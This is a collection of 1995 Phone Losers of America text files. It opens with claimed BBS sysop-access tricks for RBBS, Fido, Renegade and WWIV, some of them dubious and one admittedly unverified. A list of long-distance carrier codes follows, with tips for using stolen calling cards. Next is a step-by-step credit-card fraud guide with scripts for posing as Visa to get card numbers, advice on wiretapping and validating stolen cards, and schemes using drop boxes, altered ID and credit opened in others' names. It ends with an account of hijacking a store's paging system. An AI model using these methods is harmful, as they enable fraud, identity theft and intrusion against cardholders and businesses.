The sysops password is contained in a file called rbbs-pc.def....there is a trap in the code to prevent you from downloading it. (gee...I wonder why) But unfortunetly the basic and dos are not in agreement about the equivilence of the strings...basic says rbbs-pc.def <> rbbs-pc.def but dos truncates the last charachter and lets you get the file under the new name. (note 'x' can be substituted for 'f' in rbbs-pc.de(x), x being whatever you want it to be.)

Fido:

Log on as your real name and tell the sysop all your information then proceed to go to the message area...from there do an area command and it will list:

-----FIDO------

1...general

2...tech

3...fido mail

message ?

At the message prompt type '333333333' 77  times(no '') and this will lock up the system....from there it will usually drop to dos.

Renegade:

From main menu type // king cott

Also on old versions enter into the bbs and go to the main menu...then turn the expert mode on and type 'i' 100 times like 'iiiiiiiiiiiiiiiii' etc...When at 100 press enter and this will give you sysop commands.

WWIV:

This part is for Excallibur since he wants to get back at the sysops in the ray league so here you go...

Go home and make a file called wayne.bell....in this program do the following

ctty

com1   <---- substitute the appropriate comm port...

Save it and you're set. Now this only works in registered programs that have  been registered for over 1 year. The trick lies in the fact that Wayne put a double loop in the init files to the modem so that he could log onto bbs using his wwiv software. It has to be over 1 year old because newer versions Ymodem (that's the protocol you need to use) have incorperated the newer 2.3 string emitter to keep other people who found out this trick from it...(I'll tell you how to hack the new one in a second) now upload wayne.bell using y modem and type the following description....i am god _-_ wwiv*rulez. Got that? After all that go back to the main menu and type

//chuser

//boardedit

//dos

or whatever and it should work. If not you fucked up or the sysop is using a new version of wwiv.

Secondly....the /optik method lets you view sysop commands from the file menu but only in certain editions...I have not been able to verify this method..

To hack the newer version see PLA001.TXT

Thats all for now. I will adress the following boards in my next edition:

acid bbs       celerity bbs       robo-fx bbs      vision-x bbs

vision/2 bbs   oblivian/2 bbs     ....and many others

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #023

10xxx Long Distance Codes

Written On  February 20, 1995 - Last Revision on March 9, 1995

I decided to prove to all of you once and for all that I really don't have a life...So here it is...Starting on a weekend night when I COULD have been out abusing illigal substances, I began to dial all of the 1,000 long distance codes, one by one and here's a list of all the codes just to prove it.

All of these codes work from Corpus Cristi, Texas but if you're reading this from another state, you'll notice that some of the codes don't work and there's some that aren't listed here. Sorry, but I just didn't have the time to take airplanes around the U.S. and try out the codes everywhere.

To use a long distance code, dial 10xxx-1-AREA CODE-NUMBER. To speak with an operator, dial 10xxx-0. To identify what a certain code is, dial 10xxx-1-700-555-4141 and it'll usually tell you what carrier owns it. That 700 number is a free call, by the way. If you want to use your stolen calling card with one of these codes, dial 10xxx-0-AREA CODE-NUMBER and follow the instructions.  Some of these people won't let you place a call unless you have an account on their system.

Most of these companies know exactly where you're calling from and what your phone number is but a few can't tell so you can use them as extenders. My favorite to play with is 109870. It's just like 1-800-COLLECT but it's a little less advanced AND it's in Spanish. It really confuses whoever you call.

10009 Long Distance Network, 1600 Promenade #1510, Richardson, Texas 75080

Customer Service 1-800-999-0395 (See also 10395)

10036 Long Distance Savers, 3009 Desoto, Monroe, Louisiana, 71201

Customer Service 1-800-256-4491 (Very understaffed)

10057 Vadacom, 711 Louisiana Suite 2300, Houston, Texas 77002

Customer Service 1-800-947-1080 (Also goes by the name of Nationwide.)

10064 Fast Busy Signal

10070 U.S. Long Distance, P.O.Box 72906, Corpus Cristi, Texas, 78472,

Customer Service 1-800-460-1111

10080 LDDS Metromedia, 515 East Amidt Suite 200, Jackson, Miss 39201-2702

Customer Service 1-800-350-4211 (Automated Collect Calls)

10084 LDDS Metromedia, 515 East Amidt Suite 200, Jackson, Miss 39201-2702

Customer Service 1-800-350-4211

10085 WesTel Incorporated, P.O.Box 1985, Austin, Texas, 78767-1985

Customer Service 1-800-580-5585

10088 Wiltel Communications, 15450 S. Outer Forty Drive, Chesterfield, MO 63017

Customer Service 1-800-864-4060

10126 I just can't figure this one out, dammit.

10203 Cytel, P.O.Box 671905, Houston, Texas, 77267

Customer Service 1-800-324-7417

10211 AllNet Communications, P.O.Box 5032, Southfield, Michigan 48086-9958

Customer Service 1-800-783-2020

10221 Fast Busy Signal?

10222 MCI Telecommunications, 230 Schilling Plaza South, Hunt Valley, MD 21031

Customer Service 1-800-444-3333

10223 Cable & Wireless Communications, 8219 Leesburg Pike, Vienna, VA 22182

Customer Service 1-800-486-8686

10252 U.S. Sprint. Some kind of backdoor, I think. (See also 10333)

10270 WillTel Communications,

Customer Service 1-800-864-4060

10272 Can't Identify

10279 Fast Busy Signal

10282 ActionTel, 400 Pine Suite 500, Abilene, Texas, 79601

Customer Service 1-800-588-2222 or (915)-672-2222

10288 AT&T Communications, (Can also be reached at 1-800-CALL-ATT)

Customer Service 1-800-222-0300 (See also 10387)

10313 StarTel, P.O.Box 6090, Bryan, Texas, 77805 (You have to subscribe)

Customer Service 1-800-366-2030

10319 Can't Identify

10333 US Sprint,

Customer Service 1-800-877-4646 (See also 10252)

10366 American Telco, 100 Waugh Drive, Suite #200, Houston, Texas 77007

Customer Service 1-800-444-0258

10387 AT&T Communications,

Customer Service 1-800-222-0300 (See also 102880)

10390 Can't Identify

10395 Long Distance Network, 1600 Promenade Suite 1510, Richardson, TX, 75080

Customer Service 1-800-999-0395 (See also 10009)

10397 Phone Loser Communications Inc, Corpus Cristi, Texas, 78403

Customer Service 1-512-370-4680

10403 VadaCom, 711 Louisiana Suite 2300, Houston, Texas, 77002

Customer Service 1-800-947-1080 (See also 10057)

10423 CTI Network, 800 N Shoreline Blvd, Suite 460S, Corpus Cristi, TX 78401

Customer Service 1-800-456-9077

10425 Capital Network,

Customer Service 1-800-569-8780

10444 Allnet Communication Services,

Customer Service 1-800-783-2020

10457 Dial & Save, 4219 Lafayette Center Drive, Chantilly, VA 22021-1209

Customer Service 1-800-787-3333

10464 WilTel Communications

Customer Service 1-800-864-4060

10479 "All circuits are busy now. Try your call again later."

10488 MetroMedia Operator Services

10502 Communications Telesystems International

Customer Service 1-800-569-8700

10509 Can't Identify

10555 WilTel Communications

Customer Service 1-800-864-4060

10569 Can't Identify

10596 Are circuits are busy and network difficulties. Typical.

10658 WilTel Communications

10661 Coastal Automated Operator, Salt Lake City, Utah

Customer Service 1-800-

10686 AT&T Long Distance Network. That's Weird...

10687 This one basically says, "Fuck you, we don't want you to call here."

10718 Can't Identify

10732 Private Network...If I dial 10732-1-NUMBER it tells me to dial 10288

and if I dial 10732-0 it acts as if I dialed 10288-0.

10733 LDDS/Metromedia Automated Operator

10737 LDDS/Metromedia Automated Operator (Again!)

10741 LDDS/Metromedia Communications

10751 LDDS/Metromedia Communications (Polly want a cracker?)

10780 U.S.Sprint,

Customer Service 1-800-877-4646

10797 LDDS Metromedia (Yet another LDDS automated collect call. Same as the

other ones I've listed.)

10800 LDDS Metromedia (Automated Collect. Sheez, how many do they NEED??)

10805 WillTel

Customer Service 1-800-864-4060

10810 U.S. Sprint,

Customer Service 1-800-877-4646 (See also 10333 & 10252)

10811 Intellical Operator Services (VarTech Payphones)

Customer Service 1-800-583-8811

10813 AllNet Communications

Customer Service 1-800-783-2020

10835 M.C.I. Communications

Customer Service 1-800-444-3333

10853 Network

Customer Service 1-800-530-4898

10872 U.S.Sprint Communications (Phoenix, Arizona)

Customer Serivce 1-800-877-4646

10878 ATI Network

Customer Service 1-800-456-9077

10879 NTS 687 (Very rude operators)

10881 Coastal Telephone Automated Operator,

Customer Service 1-800-

10888 M.C.I. Communications (Same as 10222)

10914 Century Long Distance, San Marcos, Texas

Customer Service 1-800-324-1234

10923 Thrify Call, 500 Carlson Circle, San Marcos, Texas, 78666

Customer Service 1-800-554-3057

10926 U.S. Sprint (Spanish Sprint Operator!)

10983 Fast Busy Signal

10987 LDDS Metromedia Automated Collect Call Service

You can either select English or Spanish collect calls!

10999 LDDS Metromedia, P.O.Box 628067, Orlando, Florida, 32862

Customer Service 1-800-275-0200

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #024

Dabbling in Credit Card Fraud

Written On February 15, 1995 - Last Revision on March 28, 1995

So, you want to be a credit card fraudster? Well, it's not that good of an idea because Visa & Mastercard are really getting annoyed at people who are screwing them over all the time and they're supposedly in the process of re-vamping the validation process and a lot of other things to catch the horrbile satanic feinds that use unauthorized cards.

However, if you really want to give it a try, here's all the info that I know based on what I've tried and gotten away with in the past. I never had the actual card, just the card number and I improvised on the rest. Also, I'll explain how I was busted right here in beautiful Corpus Christi awhile back.

Obtaining Credit Card Numbers:

I think the most popular method of getting a credit card number is digging around in a dumpster behind a big retail store or some other business that uses credit cards so you can find a few reciepts. It's never really worked for me, though. I've gotten very few credit cards this way and the few I did get were just by chance, nothing I was really looking for. In my opinion there's a lot easier ways to get credit card numbers.

Impersonating Visa:

This one is my favorite. This is how I've gotten just about every one of my Visa/MCs. All you have to do is call up a store such as a 7-Eleven, Tanning Salon, Florist, any business that uses a credit card and talk them out of their number. Even Burger King will work although they don't get a lot of credit card business there. Here's how a typical conversation would go if you called a Circle K:

CRK: Circle K, May I help you?

YOU: Hi, this is Bill from Visa. I was just returning your call?

CRK: Huh?

YOU: I just received a page regarding a problem with your Visa credit card machine. Were you having problems there?

CRK: No, not that I know of. Nobody here paged you. Who is this again?

YOU: This is Bill with Visa/Mastercard international. When there's some kind of an error on your validation system the machine will page us with the problem. Did you just have a credit card transaction?

CRK: Well, I had one about 15 minutes ago...

YOU: That's probably the one that didn't go through then. Could you dig up the receipt there and tell me the exact time that the transaction occured?

CRK: Hold on...Okay, here it is. I made the sale at 7:43 pm and it was for a beer and some chips.

YOU: Okay, you smelly Circle K guy, I don't need to know all that, just the time, you fucking horrid bastard. What was the amount of the sale?

CRK: $13.94

YOU: And the account number? It'll be 13 or 16 digits starting with a 4 or 5.

CRK: It's 4053-xxxx-xxxx-xxxx.

YOU: And the expiration date?

CRK: I don't think I should give this out on the phone without talking to my manager.

YOU: Well, your manager isn't there, is he? Besides, the date isn't important I got the card number and I can just improvise on the date and cause a lot of damage with that alone. Thank you very much and have a nice day.

It's as easy as that. If you don't believe me, pick up your phone book, dial Circle K and try it yourself. After they give you a card number you can say something like, "No, that's not the one...Let me have the information off of the transaction before that..." and get a second card number on the same phone call. My record is three working card numbers on a single call. There's this Ammoco in Indianapolis that I used to call over and over every few days and get more card numbers and they all just thought it was a routine legitimate thing. "Oh, hi Bill! It's you again...Let me get my receipts..."

The best time to call is in the evening. This is because the managers usually work in the mornings and are gone by 5pm and there's a lot of business in the evenings which means a lot of credit card transactions. If you call in the morning you'll usually end up with a manager and they aren't as likely to give you a number as an employee. (But they still do 50% of the time.) You can call on the graveyard shift in the middle of the night and talk to the stupid guy but usually there aren't many credit cards used late at night and the stupid guy can't figure out what you're talking about.

This will work at about any small kind of place where the cashier is also the person who answers the phone. Don't try a big grocery store like Kroger or you won't get very far. Tanning salons are a good start. (Dumb blondes working there.) Hardware stores. (Dumb hicks that don't know a credit card from a table saw.) Auto Service Shops. (You know what THOSE guys are like.) Florists get a LOT of credit cards it seems so I stick with them. If you want the absolute stupidest people, get the yellow pages of Indianapolis, Indiana. That's where I've had my best luck, although your local yellow pages will work just as well.

Working At A Store:

If you're the guy that actually works at a store that takes Mastercard and Visa then you're in for oodles of fun. Usually your machine won't print the name of the card owner and the name is always a bonus to have so while you're waiting for the printout of the transaction, memorize the name on the card. Also if you're allowed, ask to see a driver's license so you'll have their name and address.

After their gone, write down their name and everything you know about them and get their credit card number off of the reciept. Do this all day and just make sure your manager or the surveilence cameras don't see you doing all this.

Also, if your business takes credit cards, somewhere around there is a box full of old receipts from the pervious months. Grab a few bundles of these and you won't have to do any work at all.

Friends:

If you have a friend that works in a place where he had access to cards, bribe him to give you the numbers in exchange for something else like carded merchandise, codes, sexual favors, anything. Remember that getting them from a friend would be really stupid. There's the security risk, (can you trust this friend really?) and you have to split the profits. Better to just call up random businesses and get them yourself.

Telemarketing:

This idea came from Agent69 of Phreaks of the Industry. I can't believe I never thought of it myself. Find a telemarketing building where they a credit card phone orders. Get into the nearby Telco box or the Network Interface on the back of their building and hook up a tap. Either a tape recorder or a radio transmitter will work.

Now listen in when they start calling people and when they finally take an order write down all the information. You'll have the card number, expiration date, name on the card, address, everything.

Making Sure Your Card Isn't Dead:

You'll want to make sure you're not wasting your time with a dead card by calling the Visa/Mastercard validation service and checking your card to make sure it's good. First of all, you have to get a valid merchant number and bank number.

Obtaining A Visa/Mastercard Validator:

Merchant numbers and bank number are pretty easy to come by. Basically, you just call up the business (convienence stores are the best) and tell them you're from Visa/Mastercard Authorization or something important like that. Then tell them that you need their merchant number. After they give you that, ask for their bank number. Employees usually don't think it's bad to give out this kind of information. After all, they're not giving out CARD numbers.

Another way to get a merchant and bank number is to hang around the credit card machine in a store and look around the counter and on the machine. Somewhere taped on the counter or on the machine will be a piece of paper that has the merchant number, bank number and the number to call to voice validate a card. Write all these down when the clerk isn't looking at you or just grab the credit card machine and run out the door with it.

Making The Validation Call:

The reason a voice validation exists is so that if the store's credit card machine breaks down the employees can call this number to get validation on a credit card. You don't even have to sound official or anything. A lot of times the person making the call to the voice validator is some idiot gas station guy who doesn't know what he's doing so you don't try and sound important or anything unless you really feel like it.

1. You call the voice validator. The number that I've always used is 1-800-944-1111. If all the operators are busy, you'll get an automated validation system. This is actually a lot easier to use.

2. The lady will say something like, "Could I have the card number, please?" Tell her the Visa/MC card number. Then she'll ask you for the expiration date so give it to her. If you don't have it, make something up as long as you don't use the date 04/83.

3. She'll now want your bank and merchant number. Read those off to her.

4. When she asks for the amount of the purchase, don't go more than ten bucks. I usually say something like $1.95 for the total amount. (Pack of cigs or something.) The reason is, when you do all this, the amount that you give is going to be charged to their card. So if you say $123.94 that's what  they'll be charged. Then when you're making your fraudelent purchase, your chances of going over their limit increase. So keep the amount low.

5. She'll say thank  you and you'll hear an automated voice giving you a six digit authorization code. This code is useless so don't even bother writing it down unless you just want to feel cool.

I have no idea what this does to the business's credit card inventory. When they run the end of the day reports, they might be a $1.95 (or whatever) over in cash because of your call. I've always been paranoid about using the same merchant numbers over and over because of this so I use different ones each time. If you don't get a good authorization code then your card is no good and you shouldn't use it. Cross it off and try another one.

Obtaining A Post Office Box:

If you're going to do a lot of mail ordering, you need to have a place to ship everything. You're best bet is a post office box. Now don't go to the United States Post Office because they'll give you an address like "P.O.Box 4161, Normal, Illinois..." and mail order companies are wary of sending merchandise to post office boxes.

Instead find a privately owned post office like Mail Boxes Etc. or something similar. The address you'll have will be a real street number and address (The address to Mailboxes Etc.) and your box number will be listed as a Suite! So your address would look something like, "2382 Lloyd Center, Suite 204." Doesn't that look like the address to a condo or something?

The price will vary but will always pay for itself. Usually the average price for one of those boxes is around $10-15 a month, sometimes even cheaper.  Another advantage to the normal U.S. post office is that these private mailbox people will sign for all of your Federal Express and UPS packages! Then you'll get a little card in your box saying, "Please come to the counter and pick up your package."

You need some I.D. to get a post office box and I'm not going to get into I.D. making right now so you'll have to figure out that part for yourself. Usually they want a picture I.D. and anything else. Many have taken a photocopy of my driver's license (altered) with no problems. ("Yeah, I lost my originals.") It would probably be unwise to keep the same box for more than two months. It'll take that long for the card owners to figure out that something is wrong and for them to stake out the p.o.box and bust you, I would guess. I have kept the same box for four months once and nothing out of the ordinary happened so maybe I'm just paranoid.  We did a LOT of carding on that box too!

Oh, and while you have this post office box you want to get the best use possible out of it so here are some tips outside of credit card fraud to get lots of neat stuff to show up at your box:

o Columbia House and BMG. Need I say more?

o Book clubs. Go to the library and look in magazines for the different book clubs and fill out their cards for your first few selections. They'll send you these books right away with a bill. Throw away the bill.

o Also, fill out subscription cards for a bunch of magazines and check the "bill me" option.

o This is the perfect place to send a bunch of out of state phone books to.

o Calling Card time! Call up random phone company billing offices around the U.S.A. and change people's billing addresses to your P.O.Box. Tell them that you'll be on vacation in this state. Then, call back and order a calling card for the same person. This is a great way to start a collection of all the different calling cards around the United States.

o Apply for credit. Your P.O.Box allows you to have several names listed on it to recieve mail. Use a name of somebody you know who has really good credit and start filling out credit card applications in their name and your post office box's address. Real credit cards are fun!

Different Types Of Scams:

Now you've got your good credit card number and a post office box. What do you do with it? Here's a few ideas to get you started...

Free Airline Tickets:

This is what I started out doing and is how I got to see a lot of the United States. Flying around the world for nothing is quite fun AND you get free meals too! The easiest way is to order the airline tickets through a local travel agency. Find one that looks good and call it.

TVA: Scamproof Travel, how may I help you?

YOU: Hi, my kid had called there earlier inquiring about a trip and I just want to go ahead and set that up. He'll be flying up here to Chicago to spend a few months with me.

TVA: Okay, I'd be happy to help you...

Just give them the information that they want. She'll want the date of travel, where you're going and your name, address, phone, etc, etc. It's best to have it already planned out on a piece of paper. Write down your "son's" name and address and "your" name and address. "Your" name and address will be in the city that you're flying to. Also have a contact number in case they want to call you. (This can be a telco silent line or a VMB you have set up.)

TVA: And how will you be paying for this?

YOU: Well, is it possible to put this on my Visa card?

TVA: Sure! Could I have that number?

She'll give you your son's flight number and all that junk. Write everything down. To make it seem more realistic I always inquire about the weather where she is and make stupid little small talk like all typical grownups do. Before you go in to pick up your tickets, call the travel agency and say you're having trouble finding the place and could she give you directions. This is a security precaution. If there's a problem with the card or anything else is wrong, she'll probably tell you. (Or it'll show in her voice.) By the way, if you don't like to fly, almost all travel agencies offer Amtrack tickets as well. It's the same process to order them.

If the card didn't work (you went over the limit) then you can either go to another travel agency or call back and try another card number saying that you're wife must have maxed out the card or something. After you read about my must, you'd probably want to try another travel agency. Before you actually get on the plane, call the airline (not the travel agency) and confirm your reservations. Again, this is a security precaution I've always taken to make sure there's no problems. So far there never has been.

Another way to get tickets would be to call the actual airline and order it directly from them. They'll charge an additional $30-$50 this way, but you can afford that, can't you? The only problem is that they will almost always call the bank that issued the card and verify the information on the card. So if you're going to do it this way, use the card owner's real name and address.

Also, have their phone calls forwarded to you so you can answer their phone when the airline calls you back. If you did it right, the ticket will be waiting at the counter for you in the airport.

I would suggest not going round trip. If you take a vacation to Florida and while you're there they figure out something screwy's going on and have the feds waiting for you in the airport or just cancel the ticket, you're screwed. Better to assume that you're going to have to get a new ticket when you arrive and if that doesn't work out, use the round trip ticket as backup.

In some cities it's impossible to get a travel agency to take a credit card over the phone from a "father" so you'll have to be sneakier. They want you to fax them a copy of the credit card and sometimes your driver's license. I've had this problem in Los Angeles, Miami and most of Corpus Cristi. My solution was to find another city close by and try flying out of that one. In one case, we had a girl we knew pick up the ticket in another state and mail it to us.  If you've got a scanner and editing program and some fax software, you could try faxing that card to 'em.

Free Internet:

There's a lot of boards out there that offer internet access with a creidt card payment on-line. A few even automatically validate the card while you're online and give you access immediately. If you're calling locally, divert!  Don't make direct calls because they might trace, although I think it's harder to do that on a ring-down number.

Free Merchandise:

Here's where the big bucks are and this is why you made a fake I.D. and went out to get a post office box. It's also a good idea to set up a local voice mailbox when you do this so that the companies will be able to call you if there's a problem with the card and they won't get suspicious about fraud because you have a real phone number.

Dig out all your mail order catalogs. Computer Shopper is the most popular. Anything you can imagine is available through mail order. Computer stuff, clothes, jewlry, houseware, everything. Sit yourself at a pay phone for a few hours and just go crazy ordering merchandise from different companies, giving the your fake name and post office box and voicemail number. Try not to use the same card for more than two purchases so it'll be less likely that the card will go dead.

The backs of almost any magazine will have ads for merchandise you can order with a credit card. (God, I hope you're not reading Playboy!) Just go crazy ordering things for the next two months. Tell the post office people that you're running a mail order supply house or something lame like that if they wonder why you're getting all this stuff. Order lots of stuff that you don't really even need. You can always sell it or give it to friends.

Places like Office Max and Office Depot also offer home and office delivery. You can order things from their catalog with a credit card and have them  deliver it to your box and the post office lady will sign it for you.

Voice Mailboxes:

Almost all the nicer voicemail companies will let you order your voicemail service over the phone and give your credit card number. They'll immediately activate your service and send you a paper and credit card statement to sign so it's good to have a post office box for them to send this to if you want your box to last more than a week.

Any company will let you pay in advance as long as you want. So you can go ahead and order one year's worth of service onto the card. And don't get the little flimsy individual service. Go all out! Get the mega-businessman enhanced service with all the toys. You can afford it!

All the VMBs I've done on a credit card have lasted at least two months. A few of them somehow get overlooked and last until the service is over with, eight months later. (My most recent one actually lasted seven months!) Use caution with what information is traded over the VMB. The owners of the service might be listening to all your messages and taking notes of the phone numbers and other things left in your box. Not good.

Free Miscelleneous Services:

Places like hair salons, detists and eye care will always take credit cards. All you have to do is call them up and say, "Yeah, my son is going to college down there and it's about time he had an eye doctor's appointment..." Explain that you'd like your son to come in and ask if it's possible for you to give them your credit card as payment.

Usually it's no problem. Not only did I get an eye exam last year, but I got a free pair of glasses and contact lenses! The hardest to do is get a haircut like this. Just about every hair place I've tried won't accept a card over the phone. I'm paranoid to actually go into the dentist. He'll have me strapped into the chair and fire up his drill..."Now WHAT did you say your father's credit card number was? Hmmmmmm?" I've had nightmares about this.

Phone Order/Pick-Up Services:

There's a few stores out there that'll let you order something on their toll free hotline and then go into the store and pick it up. So call the hotline and order something and say you're sending your "son" in to pick it up. When the order is ready, walk into the store and tell them who you are. They might want to see your I.D. but usually not. They'll have you sign a paper and give you your merchandise.

Before you go in, call them and say, "Yeah, my dad had something shipped there for me but I'm not sure where you're located." They'll be happy to help you and if there were any problems with the card, they'll most likely tell you about them now instead of when you go in to pick it up. The best place to do this kind of thing are Office Max and Office Depot. Don't get too expensive or they'll want to see the card.

Phone Calls:

AT&T decided to rake in even more money by accepting Visa, Mastercard and American Express cards to place long distance phone calls. Using a credit card has quite a few advantages to using calling cards. Then only thing that sucks about it is that it takes a little bit longer to complete the call.

Dial 10288-0-AREA CODE-NUMBER. When AT&T asks for your card number, enter the complete Visa or Mastercard number. An operator will come on and say, "What type of card are you using?" and you tell her which one. Then she says, "Please hold and I'll get you the validation operator." The validation operator comes on and asks for your expiration date and sometimes your batch number. The batch number is their new security feature and I just read them the first four numbers of the card number and that seems to make them happy enough.

She'll say thank you and put your call through. When you're done with the call you can hit the "#" key and dial a new number just like with a calling card but you'll have to read off your expiration date again and that takes about 30-60 seconds. The advantage is that a credit card will last until the owner gets the bill and shuts it off, regardless of how many different states calls are being placed from and to. As of this writing, though, they don't allow any international calling.

RBCP's Bust:

Recently I was finally busted. Actually, that's the reason I'm writing this file. Before I wasn't sure writing a file would be a good idea but now that I've quit credit card fraud forever, what the hell? (I always promised myself that when I got busted for credit cards, I would quit for good!)

I pretty much screwed myself by breaking my own rules. I flew my girlfriend to Corpus to visit from Portland, Oregon. A week later I started calling travel agencies around town to book a flight back to Oregon only to find that this is one of those towns that won't take a credit card over the phone without me faxing a copy of the card to them. Finally, I found a travel agency that would work.

I set up the tickets on a card I got from calling a local 7-Eleven. For some reason, though, I didn't call and make sure the card was good and it ended up being a bad card. We went in to get the tickets and she couldn't give them to us because the card was dead. She tried calling my "dad" in Portland (a VMB that I set up on a card) but she kept getting the message. Go figure. So I told her that we'd come back later today or tomorrow after I'd talked to my dad.

We walked over to Office Depot and called the travel agency. I told the lady, "This is RBCP's father..." and I'd just got her messages, etc, etc. I ended up giving her a different card and it didn't go through either. So, I said I must just be over my limit because of the holiday season just getting over with and gave her another Visa and it went through fine.

Later, we walked back over there. This time, Colleen stayed at the pay phone to play and I went in to pick up the tickets. The lady smiled and said if I'd have a seat she'd be right with me. Ten minutes went by and I'm starting to think that this isn't usually the way customers are treated. Then a police officer walks in and says, "Could I have a word with you?"

The next hour I sat in a cop car as the police went through my backpack. They were really interested in the items I was carrying and wanted to know WHY I had a cell phone, police scanner, pocket organizer, tone dialer, voice organizer, etc. They went over to where Colleen was using the phone and started going through her stuff. All this time she thought she was being busted for red boxing until she saw me in the back of the police car.

So that's it. Not that interesting of a story, but that's what happened to me. I ended up spending one lousy night in a holding type cell (not jail) and got out the next evening. I'm still waiting for my court date and they say it'll most likely just be a fine and/or restitution.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #025

Taking Over Fred Meyers From The Comfort Of Your Own Home

Written On March 10, 1995 - Last Revision on March 15, 1995

This is a little incident that happened while I was living in Portland, Oregon and a few people said I should write about it so I am so be happy. Most people who don't live in Portland have never heard of a Fred Meyers so I'll tell you what it is first. It's like a big chain of big stores in Portland. I'm not sure exactly where else in the United States they exist but I had never seen or heard about one until I moved to Oregon.

Take a Wal-Mart and a very large grocery store and add a few extra things and you've got a Fred Meyers. They've got a huge grocery section, lawn & garden, a huge hardware store built in, electronics, music, software, videos, a deli, sometimes a big built-in eating area and a lot of other things that I'm probably leaving out. All in all it's not a bad store but that didn't stop what I did to them.

Keep in mind that at the time all of this happened the employees of Fred Meyers were all on strike and they had a bunch of temporary people working in the stores and nobody there really knew what was going on anyways so that just added even more fun to the whole event.

The Discovery:

Me and my girlfriend (Colleen Card) were walking around the Fred Meyers located at Gateway Shopping Center, shopping and eventually got separated. Since I walked all over the store and couldn't find her (not surprising seeing as how the store is the size of a mini-mall) I figured I'd pick up one of the paging phones that are located on posts every few isles for employees and announce all over the store for her to meet me in a certain place.

I found the phone and picked it up and looked at the HUGE list of all the different departments they have to choose from and finally found the All Store Page listed at 1800. So I dial 1800 and hear a loud click throughout the store and I annouce, "Colleen Card to the toy isle. Colleen Card!"

While I was waiting for her, though, the Matchbox cars got really boring by myself (Justin's dad, the kid I met and was playing with, made him go home) so I wandered back over to the phone and noticed that all the department numbers were in the exact same format as the all store paging number. Electronics was 1296, Hardware was 1693, etc, etc. So I wrote down the two phone numbers listed on the front of that phone and put them in my pocket. Colleen arrived and we went home to a supper of Burger King Whoppers. Yeah.

The First Phone Call:

By now I had this big horrific plan in my head that I was pretty sure wouuldn't work but I knew I wouldn't rest until I tried it so the next morning while Colleen was at school I went back to the same Gateway Fred Meyers to test it out. (Gee, have you figured out what I'm doing yet?) I went to the pay phone that's located in a foyer entrance type thing and boxed a call to the inside of the store.

"Fred Meyers customer service, may I help you?"

"Yeah, this is Dave in electronics. Could you transfer me to extension 1800? I can't get it to work..."

"Okay, just a minute, please!"

I hear the funky Fred Meyers hold music for a split second and then total, dead silence. I hit the "*" button and hear it echo inside the store... So I look around the foyer and there's a few people inside with me so I can't really say anything loud. Instead I start playing "Help Me Rhonda" on with the touch tones and my musical masterpiece echos throughout the entire store.

I couldn't wait any longer for the people in there to leave so in a low voice I start muttering into the phone, "Fuck you alllll...You're all going to hell. I will kill yoooooou, I am Satan......." Now you'll have to excuse the total lack of creativity with my first Fred Meyers speach but I couldn't talk very loud and besides, I was excited that this actually worked! I decided to go inside and check out the reactions so I hung up.

The reactions weren't that great when I first got in. Walking by the photo section I heard a customer exclaim to an employee, "Did you hear that crazy guy??" But the employee wasn't too talkative so that didn't get anywhere. When I got to the Deli, things were considerably more active there. A guy in a suit (didn't look like a manager, but who knows...) was talking to another important looking guy (security?) and the suit was pissed!

I went over to the Deli and pretended to look at the menus so I could listen and they were talking about me. I heard a few things to the effect of, "Well, Dan's looking around for him right now." and "If I catch the little fucker..." It turned out that they thought some kid in the store had picked up a paging phone and done it all. Then I noticed a few guys patroling the isles with 2-way radios on their belts. Typical security dudes. So I got bored and went back home, waiting for Colleen to get home.

The Twenty Minute Broadcast:

Later that evening, around 6:00 I had already told Colleen that I'd succeeded and wanted to try it again so we picked up the phone in her room and called Fred Meyers. Again I got the service desk, asked to be transferred to extension 1800, got hold music and then dead silence.

The first thing I yelled into the phone was, "DON'T SHOP FRED MEYERS!" That was the big slogan in town that the employee who were on strike were using so I thought that would liven up the whole strike thing and if nothing, make the local papers. I put on my Good Morning Vietnam CD which starts out with Robin Williams yelling, "Goooooood morning, Vietnam!" and plays the clips of all his best radio stuff, including all the foul language and bad jokes.

Then I played a few good clips from The Jerky Boys's first cassette and started paging people to different departments of the store. After about twenty minutes I hung up the phone so I could call back and make sure I was really on the paging system and not just talking to myself like an idiot. So I called back.

"Fred Meyers, customer service. May I help you?"

"Could I have the shoe department, please?"

"Hold please!"

After about a minute of waiting, I finally got the shoe department. I told the lady I was Dan from security upstairs and asked her if someone was playing with her phone there on the paging system.

"Oh no, sir! That wasn't from this phone. They think it was kids in the food isle. The security guys are looking for them right now..."

The Two Hour Broadcast:

I thanked her and hung up. Now we knew we were getting through okay so I called them back and once again asked customer service to connect me to  extention 1800. By this time I guess she had figured it out because she wouldn't connect me so instead I asked her to connect me to Lawn & Garden. When they answered, I had them connect me to 1800 with no problems.

The only thing I can't figure out is why when I was in their system they couldn't somehow get rid of me. Why couldn't they shut off their all store paging system? Why couldn't they disconnect the speakers? Why couldn't they pull the plugs on the phone for a second and then put them back in? Why couldn't they just hang up on line two? Anyway, here's a breakdown of what our two hour broadcast consisted of:

1. Various type of store pages including....

"Customer Service to the sexual toys isle!"

"Customer Service to the anal lubrication department!"

"Customer Service to Customer Service! We don't know what we're doing!"

"Attention K-Mart shoppers! Don't shop Fred Meyers!"

"Al, clean up on isle 5. Some stupid bitch just spilled her fucking milk

all over the fucking floor, the stupid cunt!"

"AT&T, Please deposit 25 cents..."

"I need a price check on this vibrating cream."

"Security to isle ten. A lady is testing out the douches again."

"Security to isle seven. That little boy is stealing Froot Loops..."

"Security, monitor register two. BARBARA is working again."

"Hi, my name is ROY and if you find a furry watermelon, that's my gerbil!"

"Chris Tomkinson is the bestest, coolest guy in the world! Cactus?"

2. Colleen's Story Time Hour. She read a bunch of children's books and changed the wording around to make them quite demented and gross. (This is where PLA024.TXT came from, by the way...)

3. Harmonica Hour! Together on harmonica we didn't sound that great but that didn't stop us...that alone probably got rid of most of the shoppers.

4. Voiced our opinions of political issues.

